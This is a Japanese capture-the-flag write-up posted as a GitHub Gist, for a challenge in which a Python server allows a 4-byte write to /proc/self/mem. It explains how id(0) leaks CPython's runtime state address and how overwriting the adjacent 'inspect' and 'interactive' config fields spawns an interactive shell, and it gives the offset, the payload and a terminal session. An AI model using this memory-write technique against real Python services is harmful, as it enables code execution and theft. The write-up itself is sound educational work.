Skip to content

Instantly share code, notes, and snippets.

@kurgm
Created May 30, 2026 15:22
Show Gist options
  • Select an option

  • Save kurgm/ee8cd1cca3abbfc6d18840104136b5f6 to your computer and use it in GitHub Desktop.

Select an option

Save kurgm/ee8cd1cca3abbfc6d18840104136b5f6 to your computer and use it in GitHub Desktop.

Writeup for Secret Fail

これは Daily AlpacaHack B-SIDE の 2026-05-16/19 の問題 Secret Fail の writeup です。

問題設定

  • socat で python server.py を公開している。
  • Python は CPython 3.14.5 である。(Docker イメージ python:3.14.5-slim-trixie@sha256:af79f947dee1c929919b0488d20db7200d8737e00f68ee4abeef1fcf1fe05939
  • secretsecrets.token_hex(16) で生成される(32 文字の hex 文字列)。観測できない。
  • guess の入力を求められる。32 文字でなければならない。
  • 次に id(0) がヒントとして出力される。
  • そしてオフセットと 4 バイト(hex 形式)を入力するように求められる。
  • /proc/self/mem を開きオフセットの位置に seek し最大 4 バイトを書き込む。
  • guesssecretzip を使って 1 文字ずつ比較し、すべて等しければフラグが出力される。(フラグは server.py 内の print 文に直接埋め込まれている)

解法

id(0) がヒントになるということの考察

Python の id 関数は引数の Python オブジェクトごとに割り当てられた整数値を返すが,とりわけ CPython の場合はそのオブジェクトが実際に存在するメモリアドレスを返す1

CPython 3.14.5 では -5 から 256 までの小さい整数はシングルトンとしてあらかじめ生成され共有される。具体的には,Python オブジェクト 0struct _Py_static_objects 構造体の singletons.small_ints[5] にある。

Include/internal/pycore_runtime_structs.h#L116-L121:

        /* Small integers are preallocated in this array so that they
         * can be shared.
         * The integers that are preallocated are those in the range
         * -_PY_NSMALLNEGINTS (inclusive) to _PY_NSMALLPOSINTS (exclusive).
         */
        PyLongObject small_ints[_PY_NSMALLNEGINTS + _PY_NSMALLPOSINTS];

したがって, id(0) の値が分かれば,この struct _Py_static_objects 構造体と,さらにそれを含む struct pyruntimestate 構造体のアドレスが特定できる。

struct pyruntimestate 構造体には Python の実行時の状態に関するたくさんのデータが格納されている。今回の方針に関係するメンバーだけを抜き出して階層を示すと以下のようになっている:

思考ログ

id の公式ドキュメントを見ると CPython ではそのオブジェクトのメモリアドレスが返ることがわかった。

0 オブジェクトのアドレスが何を意味するのか知るために, 0 オブジェクトがどのように生成されるかを調べることにした。CPython ではソースコードをバイトコードに変換してそのバイトコードに対してインタプリタが動いていることを知っていたので,まず id(0) というコードに対してどのようなバイトコードが生成されるかを調べた。

>>> import dis
>>> def f(): id(0)
... 
>>> dis.dis(f)
  1           RESUME                   0
              LOAD_GLOBAL              1 (id + NULL)
              LOAD_SMALL_INT           0
              CALL                     1
              POP_TOP
              LOAD_CONST               1 (None)
              RETURN_VALUE
>>>

0 が 2 箇所にあってややこしい。別の整数(99 とか)で同じことをしてみるとどうやら LOAD_SMALL_INT 命令のほうが関係ありそうだ。この命令の実装について CPython のソースコードを検索した。

Python/bytecodes.c#L344-L348:

        replicate(4) inst(LOAD_SMALL_INT, (-- value)) {
            assert(oparg < _PY_NSMALLPOSINTS);
            PyObject *obj = (PyObject *)&_PyLong_SMALL_INTS[_PY_NSMALLNEGINTS + oparg];
            value = PyStackRef_FromPyObjectImmortal(obj);
        }

謎のマクロ?になっているようだが,ここが LOAD_SMALL_INT 命令の実装っぽい雰囲気がする。オブジェクトを生成しているのではなく &_PyLong_SMALL_INTS[_PY_NSMALLNEGINTS + oparg] にすでにあるみたいだ。次に _PyLong_SMALL_INTS を検索した。

Include/internal/pycore_long.h#L59:

#define _PyLong_SMALL_INTS _Py_SINGLETON(small_ints)

Include/internal/pycore_global_objects.h#L15-L18:

#define _Py_GLOBAL_OBJECT(NAME) \
    _PyRuntime.static_objects.NAME
#define _Py_SINGLETON(NAME) \
    _Py_GLOBAL_OBJECT(singletons.NAME)

_PyLong_SMALL_INTS[_PY_NSMALLNEGINTS + oparg]_PyRuntime.static_objects.singletons.small_ints[_PY_NSMALLNEGINTS + oparg] にマクロ展開されることが分かった。

_PyRuntime を検索してみると, _PyRuntimeState 型 = struct pyruntimestate 構造体の変数であることがわかった。

Include/internal/pycore_runtime.h#L19:

PyAPI_DATA(_PyRuntimeState) _PyRuntime;

Include/internal/pycore_typedefs.h#L13:

typedef struct pyruntimestate _PyRuntimeState;

この構造体の定義を見て _PyRuntime.static_objects.singletons.small_ints[_PY_NSMALLNEGINTS + oparg] が指すものを辿っていくことで,CPython では 0 オブジェクトが都度生成されるのではなくあらかじめ生成されることが理解できた。

書き換え対象の選択

/proc/self/mem は自プロセスのメモリを読み書きできる特殊なファイルである。このファイルを開いてアドレスの位置に seek して書き込むと,そのアドレスに対応するメモリの内容が書き換わる。今回の問題では,コメントにある通り任意アドレスに最大 4 バイトの任意の値を書き込める。

前段の分析から,struct pyruntimestate 構造体の内部のデータであればアドレスが分かっているので,狙い撃ちで 4 バイト書き込める。あとはどれに書き込むのがよいかを検討する。

実は _PyRuntime._main_interpreter.config にある inspectinteractive を両方とも 1 に書き換えると、Python を -i オプションを指定して起動したのと同じ状態になり、スクリプトが終了した時に Python の対話型シェルが起動するようになる。

-i オプションの処理:

Python/initconfig.c#L2959-L2962:

        case 'i':
            config->inspect++;
            config->interactive++;
            break;

仮に guesssecret が等しいと判定されなくても,最後に対話型シェルが起動すれば,任意の Python コードを実行できるのでフラグを取得できる。

オフセットの計算

大まかな方針が定まったところで,今回の環境での &_PyRuntime.static_objects.singletons.small_ints[5] から &_PyRuntime._main_interpreter.config.inspect までのオフセットを計算する。

ソースコードを読んで,GDB で実際のメモリの中身と突き合わせて確認しながら間にあるメンバーとパディングのサイズを手で 1 つ 1 つ足し合わせた結果,84748 バイトだった。

(なお,手で頑張らなくても CPython のソースコードを手元に持ってきてビルドオプションを揃えたりしてなんやかんやすれば一発で求められそうな気もする。しらんけど。)

注意:オフセットの値は CPython のバージョンやアーキテクチャ,ビルドオプションなどによって変わりうる。

4 バイトの書き込みで 2 つの int を書き換える

-i オプションを指定した状態を再現するためには inspectinteractive(どちらも int 型,各 4 バイト)の両方の値を 1 に書き換える必要がある。しかし,今回メモリを書き換えられるのは最大 4 バイトである。

実際,inspect だけを書き換えてみると対話型シェルが起動しない。なぜなら socat のオプションに pty がついていないため,下記の処理で stdin_is_interactive(config) がゼロを返すからである。interactive も書き換えると stdin_is_interactive(config) が非ゼロを返すようになる。

終了時に inspectinteractive の値を参照している箇所:

Modules/main.c#L587-L589:

    if (!(config->inspect && stdin_is_interactive(config) && config_run_code(config))) {
        return;
    }

Modules/main.c#L92-L97:

/* Return non-zero if stdin is a TTY or if -i command line option is used */
static int
stdin_is_interactive(const PyConfig *config)
{
    return (isatty(fileno(stdin)) || config->interactive);
}

幸い,inspectinteractive は隣接しており,かつこの 2 つを参照している箇所は値がゼロか否かでしか分岐していないので,2 つのメンバーにまたがるように対象のアドレスを選んで 4 バイトを書き換えればよい。

inspectid(0) + 84748id(0) + 84751 のアドレス範囲にあり,interactiveid(0) + 84752id(0) + 84755 のアドレス範囲にある。したがって,たとえば id(0) + 84750id(0) + 84753 の 4 バイトに ffffffff を書き込めば, inspect0xffff0000interactive0x0000ffff にそれぞれ書き換わり,両方とも非ゼロ値となる。

全体の流れ

  1. guess として適当な 32 文字の文字列を入力する。
  2. id(0) をヒントとして受け取る。
  3. オフセットとして 2. で得られた整数に 84748 + 2 を足した値を入力する。
  4. 4 バイト(hex 形式)として ffffffff を入力する。
  5. Wrong... と出力されるが,終了後に Python の対話型シェルが起動する。
  6. open("server.py").read() を実行してソースコードを得る。この中にフラグが埋め込まれている。
% nc localhost 1337
Secret: 12345678901234567890123456789012
Hint: id(0) = 140737478952272
Offset: 140737479037022
4-bytes (Hex): ffffffff
Wrong...
>>> open("server.py").read()
'import secrets\n\nsecret = secrets.token_hex(16)\nguess = input("Secret: ")\nassert len(secret) == len(guess)\n\n# arbitrary 4-bytes write to memory :)\nprint(f"Hint: {id(0) = }")\nmem = open("/proc/self/mem", "wb", buffering=0)\nmem.seek(int(input("Offset: ")))\nmem.write(bytes.fromhex(input("4-bytes (Hex): "))[:4])\n\nif any(a != b for a, b in zip(secret, guess)):\n    print("Wrong...")\nelse:\n    print("Correct! Flag is Alpaca{REDACTED}")\n'
>>> exit()
% 

Footnotes

  1. https://docs.python.org/3.14/library/functions.html#id の CPython implementation detail を参照。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment